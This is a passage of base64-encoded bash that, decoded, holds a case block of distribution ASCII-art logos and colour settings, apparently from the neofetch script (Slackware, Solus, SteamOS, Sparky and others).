NTU1OJHtjNH1kZGRkaHl5aGhkZGQke2MzfU5NTU1NTU1NTU1NTU1gCiR7YzJ9IGRNTU1NTU1NTU1NTU1NTU1NTSR7YzR9b28ke2MzfU1NTU1NTU1NTU1NTU1NTU1NTmAKJHtjMn0geU1NTU1NTU1NTU1NTU1NTU1NJHtjNH1oaCR7YzN9TU1NTU1NTU1NTU1NTU1NTU1kCiR7YzJ9ICtNTU1NTU1NTU1NTU1NTU1NTSR7YzR9aGgke2MzfU1NTU1NTU1NTU1NTU1NTU1NeQoke2MyfSA6TU1NTU1NTU1NTU1NTU1NTU0ke2M0fWhoJHtjM31NTU1NTU1NTU1NTU1NTU1NTW8KJHtjMn0gLk1NTU1NTU1NTU1NTU1NTU1NJHtjNH1oaCR7YzN9TU1NTU1NTU1NTU1NTU1NTU0vCiR7YzJ9IGBOTU1NTU1NTU1NTU1NTU1NTSR7YzR9aGgke2MzfU1NTU1NTU1NTU1NTU1NTU1NLQoke2MyfSAgbU1NTU1NTU1NTU1NTU1NTU0ke2M0fWhoJHtjM31NTU1NTU1NTU1NTU1NTU1NTmAKJHtjMn0gIGhNTU1NTU1NTU1NTU1NTU1NJHtjNH1oaCR7YzN9TU1NTU1NTU1NTU1NTU1NTW0KJHtjMn0gIC9NTU1NTU1NTU1NTU1NTU1NJHtjNH1oaCR7YzN9TU1NTU1NTU1NTU1NTU1NTXkKJHtjMn0gICAuK2hNTU1NTU1NTU1NTU1NJHtjNH1oaCR7YzN9TU1NTU1NTU1NTU1NTW1zOgoke2MyfSAgICAgIGA6c21NTU1NTU1NTU0ke2M0fWhoJHtjM31NTU1NTU1NTU1OaCsuCiR7YzJ9ICAgICAgICAgIC4raE1NTU1NTSR7YzR9aGgke2MzfU1NTU1NTWRvOgoke2MyfSAgICAgICAgICAgICBgOnNtTU0ke2M0fXl5JHtjM31NTU55L2AKICAgICAgICAgICAgICAgICAke2MyfS4tICR7YzR9YCR7YzN9Oi4KRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlNjaWVudGlmaWMiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgID0vOzsvLQogICAgICAgICAgICAgICAgKzogICAgLy8KICAgICAgICAgICAgICAgLzsgICAgICAvOwogICAgICAgICAgICAgIC1YICAgICAgICBILgouLy87Ozs6OzstLCAgIFg9ICAgICAgICA6KyAgIC4tOzo9Ozo7IzsuCk0tICAgICAgICw9Ozs7IzosICAgICAgLDojOzs6PSwgICAgICAgLEAKOiMgICAgICAgICAgIDojLj0vKysrKy89LiQ9ICAgICAgICAgICAjPQogLCM7ICAgICAgICAgIy86Ky87LCwvKys6Ky8gICAgICAgICA7Ky4KICAgLCsvLiAgICAsO0ArLCAgICAgICAgLCNIOywgICAgLC8rLAogICAgICA7Kzs7Lz0gQC4gICR7YzN9Lkgke2MyfSMke2MzfSNYICAgJHtjMX0tWCA6Ly8vKzsKICAgICAgOys9Ozs7LkAsICAke2MyfS5YJHtjM31NJHtjMn1AJC4gICR7YzF9PVguLy87PSMvLgogICAsOzogICAgICA6QCM9ICAgICAgICA9JEg6ICAgICAuKyMtCiAsIz0gICAgICAgICAjOy0vLy89PS8vLy0vLyAgICAgICAgID0jLAo7KyAgICAgICAgICAgOiMtOzs7Ojs7OzstWC0gICAgICAgICAgICs6CkAtICAgICAgLi07Ozs7TS0gICAgICAgID1NLzs7Oy0uICAgICAgLVgKIDo7Ozo6OzstLiAgICAjLSAgICAgICAgOisgICAgLC07Oy07Oj09CiAgICAgICAgICAgICAgLFggICAgICAgIEguCiAgICAgICAgICAgICAgIDsvICAgICAgIz0KICAgICAgICAgICAgICAgIC8vICAgICs7CiAgICAgICAgICAgICAgICAgJy8vLy8nCkVPRgogICAgICAgIDs7CgogICAgICAgICJTZXB0b3IiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgNAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX1zc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NzCnNzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3MKc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzcwpzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3NzCnNzc3Nzc3Nzc3Mke2MyfTtva09PT09PT09PT09PT09Pa287JHtjMX1zc3Nzc3Nzc3NzCnNzc3Nzc3NzcyR7YzJ9b05XV1dXV1dXV1dXV1dXV1dXV1dObyR7YzF9c3Nzc3Nzc3NzCnNzc3Nzc3NzJHtjMn06V1dXV1dXV1dXV1dXV1dXV1dXV1dXVzoke2MxfXNzc3Nzc3NzCnNzc3Nzc3NzJHtjMn1sV1dXV1drJHtjMX1zc3Nzc3Nzc3NzJHtjMn1sZGRkZGQ6JHtjMX1zc3Nzc3Nzcwpzc3Nzc3NzcyR7YzJ9Y1dXV1dXTktLS0tLS0tLS0tLS094OiR7YzF9c3Nzc3Nzc3Nzcwoke2MzfXl5JHtjMX1zc3Nzc3NzJHtjMn1PV1dXV1dXV1dXV1dXV1dXV1dXV1d4JHtjMX1zc3Nzc3NzJHtjM315eQp5eXl5eXl5eXl5JHtjMn06a0tOTk5OTk5OTk5OTk5XV1dXV1c6JHtjM315eXl5eXl5eQp5eXl5eXl5eSR7YzJ9c2NjY2NjOyR7YzN9eXl5eXl5eXl5eSR7YzJ9a1dXV1dXOiR7YzN9eXl5eXl5eXkKeXl5eXl5eXkke2MyfTpXV1dXV1dOTk5OTk5OTk5OV1dXV1dXOyR7YzN9eXl5eXl5eXkKeXl5eXl5eXkke2MyfS5kV1dXV1dXV1dXV1dXV1dXV1dXV05kJHtjM315eXl5eXl5eXkKeXl5eXl5eXl5eSR7YzJ9c2RPMEtLS0tLS0tLS0tLSzBPZDske2MzfXl5eXl5eXl5eXkKeXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eQp5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5Cnl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXkKeXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eQp5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5CkVPRgogICAgICAgIDs7CgogICAgICAgICJTZXJlbmUiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA2IDYKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICBfXy0tLScnJycnJy0tLV9fCiAgICAgICAgICAuICAgICAgICAgICAgICAgICAgICAgIC4KICAgICAgICA6ICAgICAgICAgICAgICAgICAgICAgICAgICA6CiAgICAgIC0gICAgICAgICAgICAgICAgICAgICAgIF9fX19fX18tLS0tXy0KICAgICBzICAgICAgICAgICAgICAgX18tLS0tJycnICAgICBfXy0tLS0KIF9faF8gICAgICAgICAgICBfLScgICAgICAgICAgIF8tJyAgICAgaAogJy0uXycnLS0uLl8gICAgOyAgICAgICAgICAgXy0nICAgICAgICAgeQogIDogICcnLS5fICAnLS5fLyAgICAgICAgXy0nICAgICAgICAgICAgIDoKICB5ICAgICAgICc6XyAgICAgICBfLS0nJyAgICAgICAgICAgICAgICB5CiAgbSAgICAuLS0nJyAnLS5fLjsnICAgICAgICAgICAgICAgICAgICAgbQogIG0gICA6ICAgICAgICA6ICAgICAgICAgICAgICAgICAgICAgICAgIG0KICB5ICAgICcuLl8gICAgICctX18gICAgICAgICAgICAgICAgICAgICB5CiAgOiAgICAgICAgJy0tLl8gICAgJycnLS0tLV9fXyAgICAgICAgICAgOgogICB5ICAgICAgICAgICAgJy0tLl8gICAgICAgICAnJy0tIF8gICAgeQogICAgaCAgICAgICAgICAgICAgICAnLS0uXyAgICAgICAgICA6ICBoCiAgICAgcyAgICAgICAgICAgICAgICAgIF9fJzsgICAgICAgICB2cwogICAgICAtICAgICAgICAgX18uLi0tJycgICAgICAgICAgICAgLQogICAgICAgIDpfLi4tLScnICAgICAgICAgICAgICAgICAgIDoKICAgICAgICAgIC4gICAgICAgICAgICAgICAgICAgICBfIC4KICAgICAgICAgICAgYCcnLS0tX19fX19fLS0tJyctYGAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlNoYXJrTGludXgiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYDpzaGQvCiAgICAgICAgICAgICAgICAgICAgICAgICAgYDp5Tk1NTU1zCiAgICAgICAgICAgICAgICAgICAgICAgYC1zbU1NTU1NTU4uCiAgICAgICAgICAgICAgICAgICAgIC4rZE5NTU1NTU1NTXMKICAgICAgICAgICAgICAgICAgIC5zbU5OTU1NTU1NTU1tYAogICAgICAgICAgICAgICAgIC5zTk5OTk5OTk1NTU1NTS8KICAgICAgICAgICAgICAgYG9tTk5OTk5OTk1NTU1NTW0KICAgICAgICAgICAgICAvZE5OTk5OTk5OTU1NTU1NTSsKICAgICAgICAgICAgLnlOTk5OTk5OTk5NTU1NTU1NTmAKICAgICAgICAgICArbU5OTk5OTk5OTk1NTU1NTU1NaAogICAgICAgICAuaE5OTk5OTk5OTk5NTU1NTU1NTU1zCiAgICAgICAgK21NTk5OTk5OTk5NTU1NTU1NTU1NTXMKICAgICAgLmhOTU1OTk5OTU1NTU1NTU1NTU1NTU1NZAogICAgLm9OTk5OTk5OTk5OTU1NTU1NTU1NTU1NTU1NbwogYDorc3l5c3NvbysrKytvb29vb3Nzc3Nzc3Nzc3NzbzoKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlNpZHVjdGlvbiIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDQgNAogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgICAgX2Fhc3MsCiAgICAgICAgICAgICAgIGpRaDogPSR3CiAgICAgICAgICAgICAgIFFXbXdhd1FXCiAgICAgICAgICAgICAgICkkUVFRUUAoICAgLi4KICAgICAgICAgX2FfYS4gICB+Pz9eICBzeURZP1NhLAogICAgICAgX21XPi08JGMgICAgICAgaldtaSAgaW1tLgogICAgICAgXVFRd2F5UUUgICAgICAgNFFRbWd3bVFRYAogICAgICAgID9XV1FXUCcgICAgICAgLTlRUVFRUUAnLl9hYXMsCiBfYSVpcy4gICAgICAgIC5hZFlZcywuIC0iPyFgIGFRQip+XjMkYwpfUWg7Lm5tICAgICAgIC5RV2MuIHtRTCAgICAgIF1RUXA7Li52bVEvCiJRUW1tUUAgICAgICAgLVFRUWdnbVFQICAgICAgXVFRV21nZ21RUSgKIC0/Pz8iICAgICAgICAgIiRXUVFRWWAgIF9fLCAgP1FRUVFRUVchCiAgICAgICAgX3laIT9xLCAgIC0gICAueVdZISFTdywgIj8/P14KICAgICAgIC5RUWFfPXFRICAgICAgIG1RbT4uLnZtbQogICAgICAgICRRUVdRUVAgICAgICAgJFFRUWdtUVFACiAgICAgICAgICI/Pz8iICAgX2FhLCAtOVdXUVFXWWAKICAgICAgICAgICAgICAgX21CPn4pJGEgIC1+fgogICAgICAgICAgICAgICBtUW1zX3ZtUS4KICAgICAgICAgICAgICAgXVdRUVFRUVAKICAgICAgICAgICAgICAgIC0/VD8/IgpFT0YKICAgICAgICA7OwoKICAgICAgICAic2xhY2t3YXJlX3NtYWxsIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgX19fX19fX18KICAvICBfX19fX198CiAgfCB8X19fX19fCiAgXFxfX19fX18gIFxcCiAgIF9fX19fX3wgfAp8IHxfX19fX19fXy8KfF9fX19fX19fX19fXwpFT0YKICAgICAgICA7OwoKICAgICAgICAiU2xhY2t3YXJlIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgOjo6Ojo6OgogICAgICAgICAgICA6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6CiAgICAgICAgIDo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OjoKICAgICAgIDo6Ojo6Ojo6JHtjMn1jbGxjY2NjY2xsbGxsbGxsJHtjMX06Ojo6OjoKICAgIDo6Ojo6Ojo6OiR7YzJ9bGMgICAgICAgICAgICAgICBkYyR7YzF9Ojo6Ojo6OgogICA6Ojo6Ojo6OiR7YzJ9Y2wgICBjbGxsY2NsbGxsICAgIG9jJHtjMX06Ojo6Ojo6OjoKICA6Ojo6Ojo6Ojoke2MyfW8gICBsYyR7YzF9Ojo6Ojo6Ojoke2MyfWNvICAgb2Mke2MxfTo6Ojo6Ojo6OjoKIDo6Ojo6Ojo6Ojoke2MyfW8gICAgY2NjY2xjJHtjMX06Ojo6OiR7YzJ9Y2xjYyR7YzF9Ojo6Ojo6Ojo6Ojo6CiA6Ojo6Ojo6Ojo6OiR7YzJ9bGMgICAgICAgIGNjbGNjY2xjJHtjMX06Ojo6Ojo6Ojo6Ojo6Cjo6Ojo6Ojo6Ojo6Ojo6JHtjMn1sY2NsY2MgICAgICAgICAgbGMke2MxfTo6Ojo6Ojo6Ojo6Ogo6Ojo6Ojo6Ojo6JHtjMn1jY2xjYyR7YzF9Ojo6Ojoke2MyfWxjY2NsYyAgICAgb2Mke2MxfTo6Ojo6Ojo6Ojo6Cjo6Ojo6Ojo6Ojoke2MyfW8gICAgbCR7YzF9Ojo6Ojo6Ojo6OiR7YzJ9bCAgICBsYyR7YzF9Ojo6Ojo6Ojo6OjoKIDo6Ojo6JHtjMn1jbGwke2MxfToke2MyfW8gICAgIGNsY2xsY2NjbGwgICAgIG8ke2MxfTo6Ojo6Ojo6Ojo6CiA6Ojo6OiR7YzJ9b2NjJHtjMX06JHtjMn1vICAgICAgICAgICAgICAgICAgY2xjJHtjMX06Ojo6Ojo6Ojo6OgogIDo6Ojoke2MyfW9jbCR7YzF9OiR7YzJ9Y2NzbGNsY2NjbGNsY2NjbGNsYyR7YzF9Ojo6Ojo6Ojo6Ojo6OgogICA6Ojoke2MyfW9jbGNjY2NjY2NjY2NjY2NsbGxsbGxsbGxsbGxsbCR7YzF9Ojo6OjoKICAgIDo6JHtjMn1sY2MxbGNjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY28ke2MxfTo6OjoKICAgICAgOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OjoKICAgICAgICA6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6CiAgICAgICAgICAgOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OgogICAgICAgICAgICAgICAgOjo6Ojo6Ojo6Ojo6CkVPRgogICAgICAgIDs7CgogICAgICAgICJTbGlUYXoiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDMKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICBAICAgIEAoICAgICAgICAgICAgICAgQAogICAgICBAQCAgIEBAICAgICAgICAgICAgICAgICAgQCAgICBALwogICAgIEBAICAgQEAgICAgICAgICAgICAgICAgICAgQEAgICBAQAogICAgQEAgICVAQCAgICAgICAgICAgICAgICAgICAgIEBAICAgQEAKICAgQEAgICVAQEAgICAgICAgQEBAQEAuICAgICAgIEBAQEAgIEBACiAgQEBAICAgIEBAQEAgICAgQEBAQEBAQCAgICAmQEBAICAgIEBAQAogICBAQEBAQEBAICVAQEBAQEBAQEBAQEAgJkBAQCUgQEBAQEBAQC8KICAgICAgICxAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBACiAgLkBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQC8KQEBAQEBALiAgQEBAQEBAQEBAQEBAQEBAQEBAQEBAICAvQEBAQEBACkBAICAgIEBAQEBAICBAQEBAQEBAQEBAQEAsICBAQEBAQCAgIEBAQApAQCBAQEBALiAgICBAQEBAQEBAQEBAQEBAJSAgICAjQEBAQCBAQC4KQEAgLEBAICAgICAgQEBAQEBAQEBAQEBAQCAgICAgIEBAQCAgQEAKQCAgIEBALiAgICAgQEBAQEBAQEBAQEBAQCAgICAgQEBAICAqQApAICAgIEBAICAgICBAQEBAQEBAQEBAQEAgICAgICBAQCAgIEAKICAgICAgQCAgICAgIEBAQEBAQEBAQC4gICAgICNACiAgICAgICBAICAgICAgLEBAQEBAICAgICAgIEAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlNtYXJ0T1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA2IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXkKeXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXkKeXl5eXMgICAgICAgICAgICAgb3l5eXl5eXl5eXl5eXl5eXkKeXl5eXMgIHl5eXl5eXl5eSAgb3l5eXl5eXl5eXl5eXl5eXkKeXl5eXMgIHl5eXl5eXl5eSAgb3l5eXl5eXl5eXl5eXl5eXkKeXl5eXMgIHl5eXl5eXl5eSAgb3l5eXl5eXl5eXl5eXl5eXkKeXl5eXMgIHl5eXl5eXl5eSAgb3l5eXl5eXl5eXl5eXl5eXkKeXl5eXMgIHl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXkKeXl5eXkgICAgICAgICAgICAgICAgICAgICAgICAgc3l5eXkKeXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eSAgc3l5eXkKeXl5eXl5eXl5eXl5eXl5eSAgc3l5eXl5eXl5eSAgc3l5eXkKeXl5eXl5eXl5eXl5eXl5eSAgb3l5eXl5eXl5eSAgc3l5eXkKeXl5eXl5eXl5eXl5eXl5eSAgb3l5eXl5eXl5eSAgc3l5eXkKeXl5eXl5eXl5eXl5eXl5eSAgc3l5eXl5eXl5eSAgc3l5eXkKeXl5eXl5eXl5eXl5eXl5eSAgICAgICAgICAgICAgeXl5eXkKeXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXkKeXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXl5eXkKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlNraWZmT1MiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9CiAgICAgICAgICAgICAsQEBAQEBAQEBAQEB3LF8KICAke2MyfT09PT1+fn4sLC4ke2MyfUFAQEBAQEBAQEBAQEBAQEBAQFcsXwogICR7YzF9YHx8fHx8fHx8fHx8fHx8THske2MyfSJAJEBAQEBAQEBAQiIKICAgJHtjMX1gfHx8fHx8fHx8fHx8fHx8fHx8fHx8THske2MyfSIkRAogICAgICR7YzJ9QEBAQEBAQEBAQEBAQEBAQEBAQEBAJHtjMX1ffHx8fH09PSwKICAgICAgJHtjMn0qQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQHAke2MxfXx8fHw9PSwKICAgICAgICAke2MxfWAnfHxMTEx7eyIiJHtjMn1AJEJAQEBAQEBAQEBAQEBAQEBwJHtjMX18fAogICAgICAgICAgICAke2MxfWB+PXx8fHx8fHx8fHx8TCIke2MyfSRAQEBAQEBAQEBAQAogICAgICAgICAgICAgICAgICAgJHtjMX1gYGBgJyIiIiIiIiIke2MyfSciIiIiIiIiIgpFT0YKICAgICAgICAgICAgOzsKCiAgICAgICAgIlNvbHVzIiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgNCA3IDEKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzJ9ICAgICAgICAgICAgLWBgYGBgYGBgYGBgCiAgICAgICAgICBgLSsvLS0tLS0tLS0tLS0tLmAKICAgICAgIC4tLS06bU5vLS0tLS0tLS0tLS0tLS0tLgogICAgIC4tLS0tLXlNTU15Oi0tLS0tLS0tLS0tLS0tLS4KICAgYC0tLS0tLW9NTU1NTW0vLS0tLS0tLS0tLS0tLS0tLWAKICAuLS0tLS0tL01NTU1NTU1OKy0tLS0tLS0tLS0tLS0tLS0uCiAuLS0tLS0tL05NTU1NTU1NTW0tKy8tLS0tLS0tLS0tLS0tLS4KYC0tLS0tLS9OTU1NTU1NTU1NTi06bWgvLS0tLS0tLS0tLS0tLWAKLi0tLS0tL05NTU1NTU1NTU1NTTotK01NZC8vb3NvLzotLS0tLS4KLS0tLS0vTk1NTU1NTU1NTU1NTSstLW1NTU1oOjpzbU1teW86LS0KLS0tLStOTU1NTU1NTU1NTU1NTW8tLXlNTU1NTm8tOnlNTU1NZC8uCi4tLW9NTU1NTU1NTU1NTU1NTU15LS15TU1NTU1NaDoteU1NTXktYApgLXNNTU1NTU1NTU1NTU1NTU1NaC0tZE1NTU1NTU1kOi9OeSt5LgpgLS8rb3N5aGhkbW1OTk1NTU1NbS0vTU1NTU1NTW1oKy9vaG0rCiAgLi0tLS0tLS0tLS0tLTo6Ly8rLS8rKysrKyske2MxfW9zaGRkeXM6CiAgIC1oaGhoeXl5eXl5eXl5eXloaGhoZGRkZGh5c3Nzc28tCiAgICBgOm9zc3Nzc3N5eXNzc3Nzc3Nzc3Nzc3Nzc3NvOmAKICAgICAgYDorc3Nzc3Nzc3Nzc3Nzc3Nzc3Nzc3MrLQogICAgICAgICBgLS8rc3Nzc3Nzc3Nzc3NvKy8tYAogICAgICAgICAgICAgIGAuLS0tLS0uLmAKRU9GCiAgICAgICAgOzsKCiAgICAgICAgIlNvdXJjZSBNYWdlIiogfCAiU291cmNlX01hZ2UiKikKICAgICAgICAgICAgc2V0X2NvbG9ycyA0IDcgMQogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMn0gICAgICAgOnltTk1OaG8uCi4rc2RtTk1NTU1NTU1NTU15YAouLTo6L3lNTU1NTU1NTU1NTW0tCiAgICAgIHNNTU1NTU1NTU1NTW0vCiAgICAgL05NTU1NTU1NTU1NTU1NbToKICAgIC5NTU1NTU1NTU1NTU1NTU1NTToKICAgIGBNTU1NTU1NTU1NTU1NTU1NTU4uCiAgICAgTk1NTU1NTU1NTU1NTU1NTU1NZAogICAgIG1NTU1NTU1NTU1NTU1NTU1NTU1vCiAgICAgaGhNTU1NTU1NTU1NTU1NTU1NTU0uCiAgICAgLmAvTU1NTU1NTU1NTU1NTU1NTU1zCiAgICAgICAgOm1NTU1NTU1NTU1NTU1NTU1OYAogICAgICAgICBgc01NTU1NTU1NTU1NTU1NTSsKICAgICAgICAgICAvTk1NTU1NTU1NTU1NTU1OYAogICAgICAgICAgICAgb01NTU1NTU1NTU1NTU0rCiAgICAgICAgICAuL3NkLi1oTU1NTU1NTU1tbU5gCiAgICAgIC4vK295eXloLSBgTU1NTU1NTU1NbU5oCiAgICAgICAgICAgICAgICAgc01NTU1NTU1NTW1tbwogICAgICAgICAgICAgICAgIGBOTU1NTU1NTU1NZDoKICAgICAgICAgICAgICAgICAgLWRNTU1NTU1NTU1vCiAgICAgICAgICAgICAgICAgICAgLXNobU5NTW1zLgpFT0YKICAgICAgICA7OwoKICAgICAgICAiU3Bhcmt5IiopCiAgICAgICAgICAgIHNldF9jb2xvcnMgMSA3CiAgICAgICAgICAgIHJlYWQgLXJkICcnIGFzY2lpX2RhdGEgPDwnRU9GJwoke2MxfQogICAgICAgICAgIC4gICAgICAgICAgICBgLTotYAogICAgICAgICAgLm9gICAgICAgIC4tLy8vLWAKICAgICAgICAgYG9vYCAgICAuOi8rKzouCiAgICAgICAgIG9zK2AgIC0vKysrOmAgYGAuLi4uLi4uLi5gYGAKICAgICAgICAveXMrYC4vKysrLy0uLTo6Ojo6Oi0tLS0uLi4uLi5gYAogICAgICAgYHN5eW9gKytvKy0tOjo6Oi06Oi8rKysvLWBgCiAgICAgICAteXl5Ky4rbytgOi86LTpzZG1tbW1tbW1tZHkrLWAKOjotYCAgIDp5eXkvLW9vLi0rL2B5bWhvKysrKysrb3loZG1keS9gCmAveXkrLWAuc3l5b2Arby4uby0taC4ub3N5aGhkZGhzKy8vb3N5eS9gCiAgLXlkaHMrLW95eS8uK28uLTogYCBgICA6Lzo6K3lkaHkrYGBgLW9zLQogICAuc2RkZHk6OnN5by0tLzouICAgICBgLjpkeSstb2hoaG8gICAgLi86CiAgICAgOnlkZGRzLzorb28rLy86LWAtIC8rICtoeSsuc2hoeTogICAgIGBgCiAgICAgIGA6eWRtbWR5c29vb29vb28tLnNzYC95c3MtLW95eW8KICAgICAgICBgLi9vc3N5eXl5bys6LS9vbzoub3Nzby0gLm95cwogICAgICAgYGAuLi0tLS0tLS06Oi8vLy8uLW9vb28vICAgOnNvCiAgICBgLi4uLS0tLTo6Ojo6Ojo6LS0uYC9vb29vOiAgICAubzoKICAgICAgICAgICBgYGBgYGBgICAgICArK28rOmAgICAgIGA6YAogICAgICAgICAgICAgICAgICAgICAuLysvLWAgICAgICAgIGAKICAgICAgICAgICAgICAgICAgIGAtOi0uCiAgICAgICAgICAgICAgICAgICBgYApFT0YKICAgICAgICA7OwoKICAgICAgICAiU3RhciIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDcKICAgICAgICAgICAgcmVhZCAtcmQgJycgYXNjaWlfZGF0YSA8PCdFT0YnCiR7YzF9ICAgICAgICAgICAgICAgICAgIC4vCiAgICAgICAgICAgICAgICAgIGB5eS0KICAgICAgICAgICAgICAgICBgeS5geWAKICAgIGBgICAgICAgICAgICBzLSAgLnkgICAgICAgICAgICBgCiAgICAraC8vOi4uYCAgICArLyAgICAvbyAgICBgYC4uOi9zbwogICAgIC9vYGAuLTo6LzovKyAgICAgIG8vOi8vOjotLmArb2AKICAgICAgOnNgICAgICBgLiAgICAgICAgLmAgICAgIGBzLwogICAgICAgLnkuICAgICAgICAgICAgICAgICAgICAucy0KICAgICAgICBgeS0gICAgICAgICAgICAgICAgICA6c2AKICAgICAgLi0vLy4gICAgICAgICAgICAgICAgICAvKzouCiAgIC46LzouICAgICAgICAgICAgICAgICAgICAgICAuOi86LgotK286LiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLjorOi4KLS8vLysrLy8vOjo6YCAgICAgICAgICAgICAgLi06Ojo6Ly8vK3NvLQogICAgICAgYGAuLm8vICAgICAgICAgICAgICBkLS4uLi5gYGAKICAgICAgICAgICBzLiAgICAgYC8uICAgICAgZAogICAgICAgICAgIGggICAgLitvLStvLSAgICBoLgogICAgICAgICAgIGggIC1vL2AgICBgL286ICBzOgogICAgICAgICAgLXMvbzpgICAgICAgIGA6by8rLwogICAgICAgICAgL3MtICAgICAgICAgICAgIC15bwpFT0YKICAgICAgICA7OwoKICAgICAgICAiU3RlYW1PUyIqKQogICAgICAgICAgICBzZXRfY29sb3JzIDUgNwogICAgICAgICAgICByZWFkIC1yZCAnJyBhc2NpaV9kYXRhIDw8J0VPRicKJHtjMX0gICAgICAgICAgICAgIC4sLCwsLgogICAgICAgIC4sJ29uTk1NTU1NTk5ubicsLgogICAgIC4nb05NQU5LTU1NTU1NTU1NTU1OTm4nLgogICAuJ0FOTU1NTU1NTVhLTk5XV1dQRkZXTk5NTm4uCiAgO05OTU1NTU1NTU1NTU5XVycnICwuLiwgJ1dNTU0sCiA7Tk1NTU1WKyMjK1ZOV1dXJyAuKzsnJzorLCAnV01XLAosVk5OV1ArJHtjMn0jIyMjIyMke2MxfStXVywgICR7YzJ9KzogICAgJHtjMX06KywgK01NTSwKJyR7YzJ9KyMjIyMjIyMjIyMjIyMsICAgKy4gICAgLCsnICR7YzF9K05NTU0KJHtjMn0gICcqIyMjIyMjIyMjKicgICAgICcqLCwqJyAke2MxfS4rTk1NTU0uCiR7YzJ9ICAgICBgJyojIyMqJyAgICAgICAgICAsLiw7IyMjJHtjMX0rV05NLAoke2MyfSAgICAgICAgIC4sOzssICAgICAgLjsjIyMjIyMjIyMjJHtjMX0rVwoke2MyfSwnLC4gICAgICAgICAnOyAgLCsjIyMjIyMjIyMjIyMjIycKICcjIyMrLiA6LC4gLiw7ICwjIyMjIyMjIyMjIyMjIyMnCiAgJyMjIyMuLiBgJycgLiwjIyMjIyMjIyMjIyMjIyMnCiAgICAnIyMjIyMrKysjIyMjIyMjIyMjIyMjIyMjJwogICAgICAnKiMjIyMjIyMjIyMjIyMjIyMjIyonCiAgICAgICAgICcnKiMjIyMjIyMjIyMqJycKICAgICAgICAgICAgICAnJycnJycKRU9GCiAgICAgICAgOzsKCiAgICAgICAgInN1bm9zX3NtYWxsIiB8ICJzb2xhcmlzX3NtYWxsIikKICAgICAgICAgICAgc2V0X2NvbG9ycyAzIDcKICAgICAgICAgICAgcmVh